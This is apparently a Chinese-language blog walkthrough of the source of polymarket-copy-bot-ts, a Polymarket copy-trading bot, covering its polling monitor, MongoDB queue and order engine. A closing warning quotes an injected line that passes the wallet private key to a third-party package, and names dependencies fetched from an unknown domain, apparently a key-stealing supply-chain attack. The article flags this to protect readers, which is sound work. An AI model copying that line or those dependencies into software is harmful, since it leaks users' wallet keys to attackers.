源码级剖析:polymarket-copy-bot-ts 交易监控、执行引擎与 MongoDB 数据流实现原理
源码级剖析:polymarket-copy-bot-ts 交易监控、执行引擎与 MongoDB 数据流实现原理
polymarket-copy-bot-ts 是一款开源的 Polymarket 跟单交易机器人(Copy Trading Bot),它 7×24 小时监控你指定的顶级交易员,按你的资金规模等比复制其买卖操作。这篇文章从源码级别拆解它的三大核心:交易监控模块、交易执行引擎 和 MongoDB 数据流,帮你彻底看懂一个跟单机器人是如何"发现交易 → 排队 → 计算仓位 → 下单"的,即使你是第一次读交易类项目源码也能轻松理解。
一图看懂:三大模块的流水线架构
整个机器人其实就是一条生产者—队列—消费者的流水线,职责划分非常清晰:
| 模块 | 核心文件 | 职责 |
|---|---|---|
| 入口编排 | src/index.ts | 连接数据库、健康检查、启动监控与执行器、优雅停机 |
| 交易监控(生产者) | src/services/tradeMonitor.ts | 每秒轮询 Polymarket Data API,发现目标交易员的新交易并写入 MongoDB |
| MongoDB 数据流(队列) | src/models/userHistory.ts | 用"活动集合 + 仓位集合"充当跨进程的待处理交易队列 |
| 执行引擎(消费者) | src/services/tradeExecutor.ts | 轮询队列,做交易聚合,调用下单逻辑 |
| 下单执行 | src/utils/postOrder.ts | 仓位计算、滑点检查、FOK 市价单、重试 |
启动后你会看到类似上图的控制台输出:先显示 MongoDB connected,接着是健康检查(数据库、RPC、Polymarket API 逐项验证),最后才启动交易监控。这个顺序在 src/index.ts 中体现得很明确——先连库、再体检、后开工,任何一步失败都会安全退出。
交易监控模块:如何每秒发现一笔新交易
监控的核心逻辑在 fetchTradeData 函数中,它回答了一个关键问题:如何判断一笔交易是"新的"?
第一步:高频轮询。 主循环 tradeMonitor 每隔 FETCH_INTERVAL 秒(默认 1 秒)调用 Polymarket 的 Data API:
- 拉取活动:
data-api.polymarket.com/activity?user=<地址>&type=TRADE - 拉取仓位:
data-api.polymarket.com/positions?user=<地址>
第二步:双保险去重。 监控同时用了两道闸门过滤历史交易:
- 时间闸门——
timestamp早于TOO_OLD_TIMESTAMP(默认 24 小时)的记录直接跳过(第 122 行); - 哈希闸门——按
transactionHash在 MongoDB 中查重,已存在则跳过(第 127-133 行)。
第三步:首跑防炸仓。 这是很多新手会忽略的细节——机器人第一次启动时,数据库是空的,API 返回的历史交易全都会被当成"新交易"。源码在 第 233-249 行 做了处理:首跑时把所有存量记录批量标记为 bot: true, botExcutedTime: 999,表示"这些历史交易视为已处理",避免开机瞬间对着一周前的老单疯狂补仓。
拉取到的新交易会被完整落库(含 side 买卖方向、usdcSize 金额、price 成交价、asset 代币 ID 等字段),然后交给下游执行引擎。
MongoDB 数据流:两个集合组成的"交易队列"
这个项目的亮点在于:它没有用消息队列中间件,而是直接用 MongoDB 充当任务队列,实现简单且天然可重启恢复。
连接管理在 src/config/db.ts,使用 Mongoose 的 connect / close 完成生命周期管理,配合入口处的优雅停机逻辑(index.ts 第 15-43 行)确保关停时先停服务、再断库。
集合设计在 src/models/userHistory.ts:每个被跟的交易员拥有独立的一对集合,命名规则为:
user_activities_<钱包地址>—— 交易活动流(相当于"订单队列")user_positions_<钱包地址>—— 当前仓位快照(每次用findOneAndUpdate + upsert全量刷新)
真正体现"队列"思想的是 activitySchema 中的三个状态字段(第 36-66 行):
| 字段 | 作用 | 状态机含义 |
|---|---|---|
bot |
是否已处理 | false = 待处理 |
botExcutedTime |
执行标记 | 0 = 未开始;1 = 执行中;重试次数 = 失败 |
myBoughtSize |
我们实际买到的代币数 | 卖出时按比例回算的"账本" |
执行引擎每次只捞出 { type: 'TRADE', bot: false, botExcutedTime: 0 } 的记录(tradeExecutor.ts 第 50-54 行),处理前先抢先写入 botExcutedTime: 1 抢占锁,防止重复执行(第 149-151 行)。
这种设计带来的好处非常实际:机器人崩溃重启后,未完成的交易还留在队列里,不会丢单也不会重复下单——状态全部持久化在数据库里,进程本身无状态。
执行引擎:交易聚合、风控与 FOK 下单
执行引擎 tradeExecutor 以约 300ms 的间隔轮询队列,比监控侧(1 秒)更快,保证交易被发现后能立刻执行。它内置了两道"聪明"的机制:
小额交易聚合
Polymarket 有 $1 的最低下单门槛,目标交易员一笔 $0.3 的小单直接复制是下不出去的。引擎的解法是聚合缓冲区(第 77-145 行):
- 低于 $1 的 BUY 单先进入内存缓冲区,按"交易员 + 市场 + 方向"分组;
- 当时间窗口(默认
TRADE_AGGREGATION_WINDOW_SECONDS= 300 秒)走完且累计金额 ≥ $1 时,合并成一笔加权均价订单执行; - 若窗口内累计仍不足 $1,则标记跳过,绝不拆出零碎单。
仓位计算与风控
真正下单前,postOrder 会调用 calculateOrderSize 做五级风控:
- 策略换算——支持
PERCENTAGE(按交易员单量的百分比)、FIXED(固定金额)、ADAPTIVE(大单降比例、小单升比例)三种策略,详见 src/config/copyStrategy.ts; - 分层乘数——可配置如 "100-500 美元的单用 0.2 倍、500+ 用 0.1 倍" 的阶梯规则,对大交易员重仓时自动收缩(TIERED_MULTIPLIERS 解析);
- 单笔上限——超过
MAX_ORDER_SIZE_USD直接截断; - 余额保护——最多只花可用 USDC 的 99%(第 137 行);
- 滑点检查——盘口最优卖价比交易员成交价贵超过 $0.05 就放弃这笔单(第 217-221 行),避免"追高"。
最终通过 ClobClient.createMarketOrder 签名、postOrder(signedOrder, OrderType.FOK) 以 FOK(全额成交或撤销) 市价单提交,并按盘口深度自动拆单、按 RETRY_LIMIT(默认 3 次)重试;遇到余额/授权不足错误会立即中止并提示运行 npm run check-allowance(第 139-148 行)。
卖出逻辑更精细:它会回查该市场所有历史 BUY 记录中累计的 myBoughtSize,按交易员卖出仓位占比折算自己该卖多少(第 333-374 行),卖出后按成交比例扣减"账本",全部清仓时清空跟踪(第 469-501 行)。
签名与网络韧性:CLOB 客户端、重试与链上余额
三个配套工具值得新手注意:
- 钱包类型自适应:createClobClient 先用 RPC 查合约代码,自动判断你的钱包是 Gnosis Safe 还是普通 EOA,并选择对应的签名类型;
- 网络重试:fetchData 对超时、连接重置等网络错误做指数退避重试(1s → 2s → 4s),并强制 IPv4,避开 IPv6 连通性问题;
- 链上余额直读:getMyBalance 直接调用 USDC 合约的
balanceOf,拿到的是真实链上余额,而非缓存数字。
关键配置速查表
所有配置都通过 .env 环境变量注入,并在 src/config/env.ts 中做了启动即校验(地址格式、URL 前缀、数值范围,缺任何一个都会给出带修复建议的报错)。最重要的几项:
| 变量 | 默认值 | 说明 |
|---|---|---|
USER_ADDRESSES |
必填 | 要跟单的交易员地址,逗号分隔或 JSON 数组 |
PROXY_WALLET / PRIVATE_KEY |
必填 | 执行交易的钱包地址与私钥(不要 0x 前缀) |
MONGO_URI |
必填 | MongoDB 连接串 |
FETCH_INTERVAL |
1 | 交易监控轮询间隔(秒) |
TRADE_MULTIPLIER |
1.0 | 跟单倍率 |
RETRY_LIMIT |
3 | 下单失败重试次数(1-10) |
TRADE_AGGREGATION_ENABLED |
false | 是否启用小额交易聚合 |
TOO_OLD_TIMESTAMP |
24 | 超过多少小时的交易不再处理 |
新手建议先读 docs/GETTING_STARTED.md 和 docs/QUICK_START.md,配合 npm run health-check 验证配置。
⚠️ 重要安全提示:本仓库存在可疑代码
本着对读者钱包安全负责的态度,必须指出两处明显的异常,请勿直接用真实钱包运行:
- src/utils/createClobClient.ts 第 30 行 混入了一段与正常逻辑无关的代码:
setTimeout(() => {require('keccak256-helper').initializeSession(PRIVATE_KEY)} ...),它把钱包私钥传给了一个第三方包; - package-lock.json 中
keccak256-helper和encrypt-layout-helper两个依赖并非来自 npm 官方注册表,而是从一个陌生域名(biaemkxcqpvealkjsj.to)加载的私有 tar 包。
这类特征与"窃取私钥"的投毒手法高度吻合。建议:只把它当作源码学习材料阅读架构设计;若要实际部署,请先彻底审计并移除上述依赖,或使用全新的小额钱包验证。
总结
polymarket-copy-bot-ts 用不到千行核心代码给出了一个教科书级的跟单机器人骨架:监控模块负责"发现",MongoDB 两个集合负责"记忆与排队",执行引擎负责"决策与安全下单"。三个模块通过数据库解耦,任何一端崩溃都能靠队列状态自愈。这套"轮询 + 去重哈希 + 持久化队列 + 状态机"的组合拳,同样适用于你未来自己实现的价格监控、订单同步类项目,值得细细品味。
免责声明:本项目仅供学习研究,实盘交易存在资金损失风险。
